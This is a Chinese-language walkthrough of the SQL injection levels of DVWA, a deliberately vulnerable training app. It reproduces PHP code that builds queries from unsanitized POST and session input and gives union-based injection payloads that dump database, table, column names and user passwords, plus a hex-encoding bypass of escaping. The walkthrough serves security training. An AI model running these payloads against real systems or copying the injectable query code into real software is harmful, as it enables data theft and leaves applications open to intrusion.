总结了dvwa中的sql注入关卡
Low
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
include ("sql-connection.php");
if (isset($_POST['id']) && isset($_POST['submit'])){ $id=$_POST['id']; $sql="SELECT first_name , last_name FROM users WHERE user_id='$id'"; $result=mysql_query($sql) or die(mysql_error()); while($row=mysql_fetch_assoc($result)){ $first=$row['first_name']; $last=$row['last_name']; echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
}
?>
|
这关毫无过滤的sql语句
提示输入id,判断可能是数字型注入
输入1

再输入1’

出现报错,从错误信息判断是数字型注入,且被单引号包裹
输入1’#

没有报错
接下来判断查询字段数
输入1’ order by 3

说明查询字段数为2
那么就用联合查询来爆库
输入0’ union select database(),2 #

输入0’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
爆表

输入0’ union select group_concat(column_name),2 from information_schema.columns where table_name=’users’#
爆列

输入0’ union select password,user_id from users #
爆数据

Medium
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
include("sql-connection.php");
if(isset($_POST['submit'])){ $id=$_POST['id']; $id=mysql_real_escape_string($id); $sql="SELECT first_name,last_name FROM users where user_id=$id"; $result=mysql_query($sql) or die(mysql_error()); while($row=mysql_fetch_assoc($result)){ $first=$row['first_name']; $last=$row['last_name']; echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } }
?>
|
这关很明显是数字型注入,通过选择表单中的数字作为注入点,我们可以用burp抓包修改post的id值


这里id值虽然通过mysql_real_escape函数被转义处理,但是由于id没有被引号包裹,所以没有什么区别
先判断查询字段数

字段数为2
接下来爆库

爆表

爆列

因为这里单引号被包裹,所以users可以转成十六进制数从而绕过转义
爆数据

High
这关有两个页面,一个页面用来输入id值,输入的id值经过sql查询后的信息显示在主页面上
输入id值的页面代码如下:
1 2 3 4 5 6 7 8 9 10 11
| <?php
session_start();
if(isset($_POST['id']) && isset($_POST['submit'])){ $_SESSION['id']=$_POST['id']; }
echo "Session ID:".$_SESSION['id'];
?>
|
主页面代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
session_start();
include("sql-connection.php");
if (isset($_SESSION['id'])){ $id=$_SESSION['id']; $sql="SELECT first_name , last_name FROM users where user_id='$id'"; $result=mysql_query($sql) or die(mysql_error()); while($row=mysql_fetch_assoc($result)){ $first=$row['first_name']; $last=$row['last_name']; echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } }
?>
|
这关把post的id值赋值给session的id值
注入点仍然是id值
跟上面关卡没什么本质区别
爆库


爆表


爆列


爆数据

